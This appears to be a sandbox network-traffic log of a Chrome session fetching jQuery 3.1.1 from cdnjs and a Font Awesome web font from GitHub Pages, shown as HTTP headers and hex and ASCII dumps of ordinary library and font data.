2024-12-13 07:35:11 UTC	1369	IN	Data Raw: 72 65 74 75 72 6e 5b 66 5d 7d 72 65 74 75 72 6e 5b 5d 7d 7d 29 2c 64 2e 66 69 6e 64 2e 54 41 47 3d 63 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 3f 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 72 65 74 75 72 6e 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 62 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 3f 62 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 28 61 29 3a 63 2e 71 73 61 3f 62 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 61 29 3a 76 6f 69 64 20 30 7d 3a 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 76 61 72 20 63 2c 64 3d 5b 5d 2c 65 3d 30 2c 66 3d 62 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 28 61 29 3b 69 66 28 22 2a 22 3d 3d 3d 61 29 7b 77 68 69 6c 65 Data Ascii: return[f]}return[]}}),d.find.TAG=c.getElementsByTagName?function(a,b){return"undefined"!=typeof b.getElementsByTagName?b.getElementsByTagName(a):c.qsa?b.querySelectorAll(a):void 0}:function(a,b){var c,d=[],e=0,f=b.getElementsByTagName(a);if("*"===a){while
2024-12-13 07:35:11 UTC	1369	IN	Data Raw: 61 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 3a 64 69 73 61 62 6c 65 64 22 29 2e 6c 65 6e 67 74 68 26 26 71 2e 70 75 73 68 28 22 3a 65 6e 61 62 6c 65 64 22 2c 22 3a 64 69 73 61 62 6c 65 64 22 29 2c 61 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 2a 2c 3a 78 22 29 2c 71 2e 70 75 73 68 28 22 2c 2e 2a 3a 22 29 7d 29 29 2c 28 63 2e 6d 61 74 63 68 65 73 53 65 6c 65 63 74 6f 72 3d 59 2e 74 65 73 74 28 73 3d 6f 2e 6d 61 74 63 68 65 73 7c 7c 6f 2e 77 65 62 6b 69 74 4d 61 74 63 68 65 73 53 65 6c 65 63 74 6f 72 7c 7c 6f 2e 6d 6f 7a 4d 61 74 63 68 65 73 53 65 6c 65 63 74 6f 72 7c 7c 6f 2e 6f 4d 61 74 63 68 65 73 53 65 6c 65 63 74 6f 72 7c 7c 6f 2e 6d 73 4d 61 74 63 68 65 73 53 65 6c 65 63 74 6f 72 29 29 26 26 6a 61 28 66 75 6e 63 74 69 6f Data Ascii: a.querySelectorAll(":disabled").length&&q.push(":enabled",":disabled"),a.querySelectorAll(",:x"),q.push(",.:")})),(c.matchesSelector=Y.test(s=o.matches\|\|o.webkitMatchesSelector\|\|o.mozMatchesSelector\|\|o.oMatchesSelector\|\|o.msMatchesSelector))&&ja(functio

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.5	49777	185.199.108.153	443	764	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-13 07:35:12 UTC	630	OUT	GET /bootstrap-social/assets/fonts/fontawesome-webfont.woff2?v=4.6.3 HTTP/1.1 Host: lipis.github.io Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: null sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: font Referer: https://lipis.github.io/bootstrap-social/assets/css/font-awesome.css Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-13 07:35:13 UTC	676	IN	HTTP/1.1 200 OK Connection: close Content-Length: 71896 Server: GitHub.com Content-Type: font/woff2 permissions-policy: interest-cohort=() Last-Modified: Sun, 19 Feb 2017 02:54:15 GMT Access-Control-Allow-Origin: * ETag: "58a908d7-118d8" expires: Fri, 13 Dec 2024 07:45:13 GMT Cache-Control: max-age=600 x-proxy-cache: MISS X-GitHub-Request-Id: C710:300947:58B009:61793C:675BE3B0 Accept-Ranges: bytes Age: 0 Date: Fri, 13 Dec 2024 07:35:13 GMT Via: 1.1 varnish X-Served-By: cache-nyc-kteb1890020-NYC X-Cache: MISS X-Cache-Hits: 0 X-Timer: S1734075313.231711,VS0,VE32 Vary: Accept-Encoding X-Fastly-Request-ID: 6cbc1d9db0bd5efb1e3cdeeaa8d6ddc0c565a754
2024-12-13 07:35:13 UTC	1378	IN	Data Raw: 77 4f 46 32 00 01 00 00 00 01 18 d8 00 0e 00 00 00 02 54 c8 00 01 18 79 00 04 01 89 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 3f 46 46 54 4d 1c 1a 20 06 60 00 86 02 11 08 0a 88 bb 50 86 e9 4b 01 36 02 24 03 95 00 0b 95 18 00 04 20 05 86 7c 07 b2 4c 3f 77 65 62 66 06 5b 38 e0 91 00 d6 6d 3b af 74 05 e9 cd fa d3 d5 e7 e8 00 63 36 c2 d6 9b 15 96 f0 3e bc 53 ad 38 ae 7b 1c 80 19 5d 3f fb ff ff ff 3f 3d 69 8c a1 25 81 e6 00 50 d5 da ae da ad fb ff cf 66 38 35 4a 88 30 aa b9 75 04 0f b2 98 66 b1 b0 c9 65 42 af 5c d8 eb a6 02 45 b9 6c fb fd e8 fd 81 41 77 98 d6 36 84 11 1c 66 b3 11 46 c0 8e a0 30 6c 9b 0d c3 b6 4d 81 60 3b 69 96 4f df 9e 55 13 cb d4 b1 e6 6b d9 b6 22 3d e8 cb b2 0b eb c3 ba 8a 96 f2 90 c1 2f 36 0f e1 2f 65 58 0d 71 a4 d5 76 66 Data Ascii: wOF2Ty?FFTM `PK6$ \|L?webf[8m;tc6>S8{]??=i%Pf85J0ufeB\ElAw6fF0lM`;iOUk"=/6/eXqvf
2024-12-13 07:35:13 UTC	1378	IN	Data Raw: 90 71 97 5c 82 da 18 5a 09 5c e9 2f 23 4e 0c 4b ca b7 61 cc 95 68 76 e7 4d 0b 77 61 a0 60 5a d9 5c 67 66 4e fc ff 84 00 01 f0 e6 d1 b7 bc 03 f0 c6 dc a3 ea 01 de 5b 76 ec c1 c9 6b 2b 03 fa 03 20 11 08 79 1b 02 1d 5d 0f 28 3b 4b b4 61 d0 fa 0f 7a 34 b0 35 fc c6 ca 95 20 7e c7 dd 95 5b 2f 5e b1 92 90 e0 7b 2c 29 60 77 00 3f 4a 96 07 91 50 5e 0c da 68 ff 86 9a ff df 60 10 5a 14 80 55 84 18 c6 10 a0 92 b8 34 32 b6 c8 0c 30 8d 83 e6 61 9c da 21 b5 f9 e1 ff 7d 06 41 3c 09 10 53 ce 4d 3c c0 23 bc cd e2 f0 18 86 21 c6 9b 20 b5 f5 de e4 03 6e f3 6d 97 c7 27 28 8a 2f 21 e6 da bb a9 07 da 76 f9 f0 1d 8a 8b 80 b7 17 bf 17 09 e0 01 08 10 61 b4 11 f3 10 09 83 0d 4c 42 ac 78 41 a1 8c b3 cd d8 87 4c 1c 6e 11 0a 79 04 86 54 5a 6d c5 3d 34 f9 3f b0 c9 31 9d 98 1d dc 89 66 Data Ascii: q\Z\/#NKahvMwa`Z\gfN[vk+ y](;Kaz45 ~[/^{,)`w?JP^h`ZU420a!}A<SM<#! nm'(/!vaLBxALnyTZm=4?1f
2024-12-13 07:35:13 UTC	1378	IN	Data Raw: 05 91 09 22 aa 15 00 16 e9 56 11 cf cf 67 09 3b 46 fd 2e 21 8c e9 23 6c 80 36 2b 82 29 8f 36 b1 ce b2 3d 60 cc 19 96 8d 8c 5d 22 ad e2 5e 99 8c 41 81 3f 1f 01 95 9a ee d3 7d bf 3c 9c 96 c3 ba d4 0b ad 22 56 cb 00 0f b6 f0 a4 c9 0f 8c b2 a3 1c 91 27 be f7 13 4a 3b cd 2d 2a ad 5d 4a 6c c5 67 ed ce 94 75 35 8e 9a 0d 1f df 98 1d 6f ba ee 40 6c 35 33 72 4f a4 bc 57 32 78 ff d0 ac 75 be 3f ac ce 1e 4d 9a 9c e9 99 0e 5f 68 2e 37 5c 77 67 d6 ea a2 75 37 bb b6 79 7b 1e 50 88 9f b5 78 90 d4 e7 6a 45 36 3e b8 5c fc d6 df 15 55 b1 d3 41 00 67 47 12 8d ad d9 9f 58 2e 18 f6 bf e4 92 4b df 2c e7 e9 ad 83 fc d3 be 8a 20 93 63 9a d0 0c 55 29 52 25 58 41 18 0c 94 1c c0 d4 54 1b b3 30 b2 3d 25 62 33 73 a5 d6 6d 93 eb 66 62 ba e0 99 8a 26 0c c6 6e c8 59 57 99 ce 68 9d 83 73 Data Ascii: "Vg;F.!#l6+)6=`]"^A?}<"V'J;-*]Jlgu5o@l53rOW2xu?M_h.7\wgu7y{PxjE6>\UAgGX.K, cU)R%XAT0=%b3smfb&nYWhs
2024-12-13 07:35:13 UTC	1378	IN	Data Raw: b9 f6 a5 1b de ed ef 03 c6 8c 6a ed 07 08 db f7 fc f3 4d 8a 9a 19 dd f5 ac cc d6 a0 8c dc 17 49 d8 e8 e5 70 70 e1 4b 17 75 5c 49 db 2c a3 7c e9 2a 80 94 70 e7 21 9e 73 ca b3 b8 9c 89 b8 7a b5 c2 d3 d6 ec dc 63 5e 0b cf 05 6b 91 bb fb 64 97 af 70 e1 14 58 e2 97 42 cf e2 20 2f bd 34 d5 da bd dd a9 d6 9a 19 5c 24 a7 68 cb 35 50 9a 4d 97 24 48 38 f7 23 f6 72 41 35 50 9b d8 2f df 1f 65 03 26 fe 3c 58 40 e9 4f 84 da fe 46 a5 79 84 26 e9 cd d0 bb 04 07 71 25 ba b9 d1 8b 92 60 ac 8f d4 3a 5f d5 78 bb e7 76 97 af d1 91 af 64 ed 9c 23 40 76 a4 f3 40 9b fe b2 7c eb 9e a3 f2 56 e1 26 9b ed 3b a6 7d 58 11 32 61 28 38 a8 a4 e4 6a c7 3a 46 53 44 c4 48 e8 fb 50 dd e6 b8 bd a9 53 4b 5e 5e 4c e3 1d 01 1a 69 e2 72 23 82 27 91 06 cb 81 f2 4a 89 be b0 1e 1a 62 85 45 08 c8 fe Data Ascii: jMIppKu\I,\|*p!szc^kdpXB /4\$h5PM$H8#rA5P/e&<X@OFy&q%`:_xvd#@v@\|V&;}X2a(8j:FSDHPSK^^Lir#'JbE
2024-12-13 07:35:13 UTC	1378	IN	Data Raw: c8 03 0d ae 71 e2 74 da 39 b0 d8 ac a1 41 57 ba fc 50 52 ac c6 46 11 ee db 43 35 60 51 21 c2 a3 0b a1 a1 6c 65 5f 33 53 99 09 5d 3e eb cc 56 83 66 96 2d f4 57 bf 5e 18 07 45 56 c8 31 f5 46 fe cf 55 f0 9c a0 b4 7b 47 9b 23 54 74 be 65 d3 23 be e0 92 e2 88 a5 78 28 c4 82 68 8d 01 db 7d 2b cd 13 cd 64 96 e9 74 60 4c a5 42 d9 ba 40 d9 39 73 24 3d b8 a9 a4 34 a4 53 88 91 69 f0 8b 46 4f a2 10 e5 a6 e9 ea 28 4b 73 44 b2 94 56 22 51 02 c3 c4 13 c2 a4 b9 f1 70 52 23 e9 3a fa 53 ef ef f0 bc 08 b7 e1 f6 9d 2d c4 56 f0 ce 06 e0 81 ef 6c 62 f9 b0 6f 3b 4e b6 15 6e 4d 6c 30 52 5f 72 8b d1 b6 cc 12 8f a6 10 c0 a3 24 e3 63 4f 54 77 28 78 20 c5 52 75 db ba 81 e9 f0 dc c6 3b 3a f0 2f 18 e2 74 5b 7b 76 f9 f7 36 99 04 2d 6c 62 19 4f 2c c0 18 2a 7e 7d 19 2c fb e7 68 c2 62 cb Data Ascii: qt9AWPRFC5`Q!le_3S]>Vf-W^EV1FU{G#Tte#x(h}+dt`LB@9s$=4SiFO(KsDV"QpR#:S-Vlbo;NnMl0R_r$cOTw(x Ru;:/t[{v6-lbO,*~},hb
2024-12-13 07:35:13 UTC	1378	IN	Data Raw: d6 b4 ca bf 8b 69 a7 a4 87 a5 c5 16 5f 28 8d cd 42 89 af 52 95 37 32 a3 a3 76 e6 8c 94 81 ed de 70 19 2b 0e 0f a7 6a 94 3a 28 e7 97 cb 2a b7 1a 95 10 64 bf ff 26 d5 5d 49 c1 d3 12 ac 31 c8 61 7a 82 64 e7 dd a3 20 6f 32 dd de d0 c8 fc 2f 6e 5c b9 32 85 3c 24 1e cf a5 fb 34 95 34 18 c2 56 97 be ea 97 30 4e 1c 2a a4 ab 4d 00 5a f1 57 95 f3 91 54 60 90 a6 75 c1 e5 1e 43 3f db 96 76 cb 65 2c de 86 68 27 6b c8 03 02 9e 28 2f 9f 84 78 af 7d 80 14 8f 77 af 91 a9 ec 58 70 6a ad a6 6b b5 85 5f de 74 ca aa 8b 7c b3 7c 81 4c 5c 38 ad 0c 23 3e 76 99 b0 d3 0c 5d 12 1e ab be 26 54 ab 13 62 cc 30 35 66 bc 51 cb ef d9 9b a4 ca ce 45 9a a6 27 be 06 82 9a 56 92 9e 68 fd 03 87 d3 4f 8c 56 06 b3 9d 85 e7 44 cf 33 e8 a6 92 c9 68 e9 c6 b8 04 3c 6f 63 a8 2d 8f 3a 90 8b c1 0c 17 Data Ascii: i_(BR72vp+j:(d&]I1azd o2/n\2<$44V0NMZWT`uC?ve,h'k(/x}wXpjk_t\|\|L\8#>v]&Tb05fQE'VhOVD3h<oc-:
2024-12-13 07:35:13 UTC	1378	IN	Data Raw: 46 2a 37 68 04 3d 30 d9 d4 62 21 cf 23 83 dc b8 65 5a a1 a9 57 9e d2 63 a1 10 8a 36 0d 43 08 79 8b 34 fe 29 da f3 53 48 24 ae c5 b1 d6 0d 43 8d 5c 7c a7 68 ea 44 92 02 4f 3a cb d3 f7 75 fa 83 2c 49 92 bc 32 17 0d ea 8e bd b0 8a ca 0b ea 6b 49 5c 71 89 17 8f 2a 2c 9e fe 45 3f 51 bf 4d 38 1a 45 9b 28 25 00 28 ca 9e 78 5c b1 07 f1 bc c2 16 1d 24 96 02 1f a3 40 69 68 f6 59 a7 34 4c c7 10 29 2b 25 a5 46 d8 fa 5a 27 aa 96 81 f8 a3 1e 41 ef ab 3c d3 da 58 0e af 33 0a b5 31 d6 f4 52 56 8c b6 4b 2b 39 c2 f3 4a dd c5 f2 29 0c c6 0e 9b 52 92 9a 96 22 fe 79 ea ea cf 65 df 4c 95 d3 c2 98 8b 1b 69 42 ed d5 15 3a 40 29 73 54 08 25 cc 27 93 23 82 c5 88 ea 56 29 e1 9b 9a d4 41 51 db a9 b9 64 90 f4 91 61 95 6c 0b a0 b9 df 0e 03 94 94 48 2e 8a d6 39 44 ab dc 51 4a 9b e6 ff Data Ascii: F7h=0b!#eZWc6Cy4)SH$C\\|hDO:u,I2kI\q,E?QM8E(%(x\$@ihY4L)+%FZ'A<X31RVK+9J)R"yeLiB:@)sT%'#V)AQdalH.9DQJ
2024-12-13 07:35:13 UTC	1378	IN	Data Raw: 72 bc 75 8a ec 51 64 16 8c b7 56 ae 0a bb 56 a9 96 6d c9 dc ae 50 5b 4b d8 00 e3 ed 6f 2d 25 33 82 63 76 fb d0 a1 1f f3 67 00 a8 7b 61 69 8f 68 f7 73 dd 2e 63 3f 63 84 8d 3d 79 40 06 a9 f0 a5 e3 c6 a5 12 ad cf 32 5e e8 83 48 63 9c e8 8e ad 5b 64 71 a2 a1 0a 0d 32 ba be 00 9e 01 bf 0f e4 bf 21 28 70 b3 21 1d 3c cf 88 ea 17 16 e1 4e 63 8e d7 f4 b6 4a ed ec c7 f8 3a b6 09 c4 c1 92 08 aa 0a b6 8f 22 21 4b 53 df 6f 05 5a 49 d1 ca 66 51 85 b2 10 99 cc 34 c8 6c 63 a9 7f d1 23 55 a2 6c 05 2b 12 b3 34 ed 58 10 3e c9 de 28 14 96 32 64 80 64 32 de 00 69 68 f1 bc 6b 94 15 0b 2b b6 42 26 2f 3e 24 08 f1 de fe 19 9c 88 95 47 16 c7 32 c3 37 74 a1 00 b0 f2 bc 18 44 e2 4b 10 f9 c0 3a f1 94 c6 06 c7 bc ea af 56 4e da a9 1b eb bc 6e 08 04 d3 f2 d3 f4 4b dc 5d 48 2b cd 88 9c Data Ascii: ruQdVVmP[Ko-%3cvg{aihs.c?c=y@2^Hc[dq2!(p!<NcJ:"!KSoZIfQ4lc#Ul+4X>(2dd2ihk+B&/>$G27tDK:VNnK]H+
2024-12-13 07:35:13 UTC	1378	IN	Data Raw: 62 f7 88 f0 35 34 30 ef e2 dd 8e 3f dc f7 f6 0e 77 f7 b9 f3 95 66 73 c3 d7 9e 1a 83 b2 a8 40 e8 7f e4 d9 6f eb fe 96 69 27 12 b1 2f e8 cf 75 36 ea 6a dd d3 34 cd 11 33 a6 dd bf 43 9e e3 84 79 a5 8b 5d cc f8 cf c6 f3 13 66 11 1d 46 44 b3 ea 34 3e 3e 4e 3f 36 47 84 eb 8d f1 f6 56 f8 b6 74 dd 90 06 f5 0d 57 38 58 55 64 68 d0 cc 34 ed 2a bf c6 d2 aa c3 0b f4 ab 14 45 0b 26 92 3c 64 68 4c e0 1b 17 11 d4 59 a4 4e 34 cb d9 fa 0f 8e ce 9f 6e 7f c8 ef 6d b8 ca 33 aa bf 72 a9 e2 c3 e8 7d d1 9e 1f 76 a2 28 9d 88 4c 54 cd f2 b5 91 96 57 ed e4 06 9e 61 af b0 74 dc cc 4c 26 52 33 02 9b aa 9f 19 1c b5 43 f0 17 e0 a1 03 07 7b 0b 27 cf 6c ce 34 ae e1 80 56 68 8d ae d9 0c e2 19 46 b4 47 6d dd f5 cd a2 59 93 a1 94 1f f9 a0 20 5d d6 fc 32 07 6f 86 46 b9 8b a3 76 e4 84 6c db Data Ascii: b540?wfs@oi'/u6j43Cy]fFD4>>N?6GVtW8XUdh4*E&<dhLYN4nm3r}v(LTWatL&R3C{'l4VhFGmY ]2oFvl
2024-12-13 07:35:13 UTC	1378	IN	Data Raw: 2e 44 ac a3 4c 78 41 a8 d9 c3 a1 98 d5 ec 07 a9 97 e8 c2 81 58 53 82 fb 74 2f b2 31 7e 68 6d b6 e3 80 12 b6 5d fe a1 bc b2 6b 7d cf 99 8e b5 f6 94 07 f7 52 f6 d1 15 8d 85 f7 56 f3 48 9e 32 25 93 d0 ea 74 31 03 c1 af ff d5 56 10 4f 89 9f f6 d3 00 25 a5 12 62 de 60 92 98 52 40 c7 02 7b ee ec 74 bf 67 82 9a 9c c4 67 43 f6 be bd f8 f8 f7 bf df 67 12 ba 78 e0 5c e6 a2 bd 78 7f fa 0a cd f4 f7 1f 3c 31 b5 1e 70 97 68 2f d2 cd 18 6a 0d c0 7d 76 84 9c 2d b4 4b c7 14 13 6b 59 15 dc d6 b4 93 b7 31 e8 6f b0 fd 24 a3 2c 90 e8 5d 22 26 bc b4 0c 18 55 38 b0 ae 0e 98 3e 8a 12 e4 02 a1 26 f6 f6 2c 21 e3 f8 04 80 11 0a 28 c1 88 fc cd bb 69 67 7c 77 f5 40 83 35 56 9f c7 bf da 23 49 34 28 72 fd f6 59 4e c2 41 e5 3a 5c c0 bb a3 c0 ea f6 ef c4 ef 50 24 bf 2e cf af 2b 15 dc 64 Data Ascii: .DLxAXSt/1~hm]k}RVH2%t1VO%b`R@{tggCgx\x<1ph/j}v-KkY1o$,]"&U8>&,!(ig\|w@5V#I4(rYNA:\P$.+d

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.5	49784	104.17.24.14	443	764	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-13 07:35:13 UTC	380	OUT	GET /ajax/libs/jquery/3.1.1/jquery.min.js HTTP/1.1 Host: cdnjs.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-13 07:35:14 UTC	956	IN	HTTP/1.1 200 OK Date: Fri, 13 Dec 2024 07:35:14 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * Cache-Control: public, max-age=30672000 ETag: W/"5eb03ec4-152b5" Last-Modified: Mon, 04 May 2020 16:11:48 GMT cf-cdnjs-via: cfworker/kv Cross-Origin-Resource-Policy: cross-origin Timing-Allow-Origin: * X-Content-Type-Options: nosniff CF-Cache-Status: HIT Age: 3 Expires: Wed, 03 Dec 2025 07:35:14 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=OweBdT41FHH8SGO6P8QuWnvMuP5HtK4dgB6o4Cu%2BM2zQILjRGYM5x3PwP8xkUSud0kqHzObFv2flfMf1syGxy5i%2FcL52sfqt%2F3vxlsG6AxUTsRi0Hj8Sa30tS0eLbbVhKQDve%2Bel"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Strict-Transport-Security: max-age=15780000 Server: cloudflare CF-RAY: 8f1446b8a9d67cee-EWR alt-svc: h3=":443"; ma=86400
2024-12-13 07:35:14 UTC	413	IN	Data Raw: 37 62 66 34 0d 0a 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 31 2e 31 20 7c 20 28 63 29 20 6a 51 75 65 72 79 20 46 6f 75 6e 64 61 74 69 6f 6e 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 61 2e 64 6f 63 75 6d 65 6e 74 3f 62 28 61 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 21 61 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a 51 75 65 72 79 20 72 65 71 75 69 72 65 73 20 61 20 77 69 Data Ascii: 7bf4/! jQuery v3.1.1 \| (c) jQuery Foundation \| jquery.org/license /!function(a,b){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=a.document?b(a,!0):function(a){if(!a.document)throw new Error("jQuery requires a wi
2024-12-13 07:35:14 UTC	1369	IN	Data Raw: 73 6c 69 63 65 2c 67 3d 63 2e 63 6f 6e 63 61 74 2c 68 3d 63 2e 70 75 73 68 2c 69 3d 63 2e 69 6e 64 65 78 4f 66 2c 6a 3d 7b 7d 2c 6b 3d 6a 2e 74 6f 53 74 72 69 6e 67 2c 6c 3d 6a 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2c 6d 3d 6c 2e 74 6f 53 74 72 69 6e 67 2c 6e 3d 6d 2e 63 61 6c 6c 28 4f 62 6a 65 63 74 29 2c 6f 3d 7b 7d 3b 66 75 6e 63 74 69 6f 6e 20 70 28 61 2c 62 29 7b 62 3d 62 7c 7c 64 3b 76 61 72 20 63 3d 62 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 73 63 72 69 70 74 22 29 3b 63 2e 74 65 78 74 3d 61 2c 62 2e 68 65 61 64 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 63 29 2e 70 61 72 65 6e 74 4e 6f 64 65 2e 72 65 6d 6f 76 65 43 68 69 6c 64 28 63 29 7d 76 61 72 20 71 3d 22 33 2e 31 2e 31 22 2c 72 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 72 65 74 Data Ascii: slice,g=c.concat,h=c.push,i=c.indexOf,j={},k=j.toString,l=j.hasOwnProperty,m=l.toString,n=m.call(Object),o={};function p(a,b){b=b\|\|d;var c=b.createElement("script");c.text=a,b.head.appendChild(c).parentNode.removeChild(c)}var q="3.1.1",r=function(a,b){ret
2024-12-13 07:35:14 UTC	1369	IN	Data Raw: 28 6a 26 26 64 26 26 28 72 2e 69 73 50 6c 61 69 6e 4f 62 6a 65 63 74 28 64 29 7c 7c 28 65 3d 72 2e 69 73 41 72 72 61 79 28 64 29 29 29 3f 28 65 3f 28 65 3d 21 31 2c 66 3d 63 26 26 72 2e 69 73 41 72 72 61 79 28 63 29 3f 63 3a 5b 5d 29 3a 66 3d 63 26 26 72 2e 69 73 50 6c 61 69 6e 4f 62 6a 65 63 74 28 63 29 3f 63 3a 7b 7d 2c 67 5b 62 5d 3d 72 2e 65 78 74 65 6e 64 28 6a 2c 66 2c 64 29 29 3a 76 6f 69 64 20 30 21 3d 3d 64 26 26 28 67 5b 62 5d 3d 64 29 29 3b 72 65 74 75 72 6e 20 67 7d 2c 72 2e 65 78 74 65 6e 64 28 7b 65 78 70 61 6e 64 6f 3a 22 6a 51 75 65 72 79 22 2b 28 71 2b 4d 61 74 68 2e 72 61 6e 64 6f 6d 28 29 29 2e 72 65 70 6c 61 63 65 28 2f 5c 44 2f 67 2c 22 22 29 2c 69 73 52 65 61 64 79 3a 21 30 2c 65 72 72 6f 72 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 74 Data Ascii: (j&&d&&(r.isPlainObject(d)\|\|(e=r.isArray(d)))?(e?(e=!1,f=c&&r.isArray(c)?c:[]):f=c&&r.isPlainObject(c)?c:{},g[b]=r.extend(j,f,d)):void 0!==d&&(g[b]=d));return g},r.extend({expando:"jQuery"+(q+Math.random()).replace(/\D/g,""),isReady:!0,error:function(a){t
2024-12-13 07:35:14 UTC	1369	IN	Data Raw: 6e 41 72 72 61 79 3a 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 29 7b 72 65 74 75 72 6e 20 6e 75 6c 6c 3d 3d 62 3f 2d 31 3a 69 2e 63 61 6c 6c 28 62 2c 61 2c 63 29 7d 2c 6d 65 72 67 65 3a 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 66 6f 72 28 76 61 72 20 63 3d 2b 62 2e 6c 65 6e 67 74 68 2c 64 3d 30 2c 65 3d 61 2e 6c 65 6e 67 74 68 3b 64 3c 63 3b 64 2b 2b 29 61 5b 65 2b 2b 5d 3d 62 5b 64 5d 3b 72 65 74 75 72 6e 20 61 2e 6c 65 6e 67 74 68 3d 65 2c 61 7d 2c 67 72 65 70 3a 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 29 7b 66 6f 72 28 76 61 72 20 64 2c 65 3d 5b 5d 2c 66 3d 30 2c 67 3d 61 2e 6c 65 6e 67 74 68 2c 68 3d 21 63 3b 66 3c 67 3b 66 2b 2b 29 64 3d 21 62 28 61 5b 66 5d 2c 66 29 2c 64 21 3d 3d 68 26 26 65 2e 70 75 73 68 28 61 5b 66 5d 29 3b 72 65 74 75 72 6e Data Ascii: nArray:function(a,b,c){return null==b?-1:i.call(b,a,c)},merge:function(a,b){for(var c=+b.length,d=0,e=a.length;d<c;d++)a[e++]=b[d];return a.length=e,a},grep:function(a,b,c){for(var d,e=[],f=0,g=a.length,h=!c;f<g;f++)d=!b(a[f],f),d!==h&&e.push(a[f]);return
2024-12-13 07:35:14 UTC	1369	IN	Data Raw: 6e 63 7c 61 75 74 6f 66 6f 63 75 73 7c 61 75 74 6f 70 6c 61 79 7c 63 6f 6e 74 72 6f 6c 73 7c 64 65 66 65 72 7c 64 69 73 61 62 6c 65 64 7c 68 69 64 64 65 6e 7c 69 73 6d 61 70 7c 6c 6f 6f 70 7c 6d 75 6c 74 69 70 6c 65 7c 6f 70 65 6e 7c 72 65 61 64 6f 6e 6c 79 7c 72 65 71 75 69 72 65 64 7c 73 63 6f 70 65 64 22 2c 4b 3d 22 5b 5c 5c 78 32 30 5c 5c 74 5c 5c 72 5c 5c 6e 5c 5c 66 5d 22 2c 4c 3d 22 28 3f 3a 5c 5c 5c 5c 2e 7c 5b 5c 5c 77 2d 5d 7c 5b 5e 5c 30 2d 5c 5c 78 61 30 5d 29 2b 22 2c 4d 3d 22 5c 5c 5b 22 2b 4b 2b 22 2a 28 22 2b 4c 2b 22 29 28 3f 3a 22 2b 4b 2b 22 2a 28 5b 2a 5e 24 7c 21 7e 5d 3f 3d 29 22 2b 4b 2b 22 2a 28 3f 3a 27 28 28 3f 3a 5c 5c 5c 5c 2e 7c 5b 5e 5c 5c 5c 5c 27 5d 29 2a 29 27 7c 5c 22 28 28 3f 3a 5c 5c 5c 5c 2e 7c 5b 5e 5c 5c 5c 5c 5c 22 Data Ascii: nc\|autofocus\|autoplay\|controls\|defer\|disabled\|hidden\|ismap\|loop\|multiple\|open\|readonly\|required\|scoped",K="[\\x20\\t\\r\\n\\f]",L="(?:\\\\.\|[\\w-]\|[^\0-\\xa0])+",M="\\["+K+"("+L+")(?:"+K+"([^$\|!~]?=)"+K+"(?:'((?:\\\\.\|[^\\\\'])*)'\|\"((?:\\\\.\|[^\\\\\"
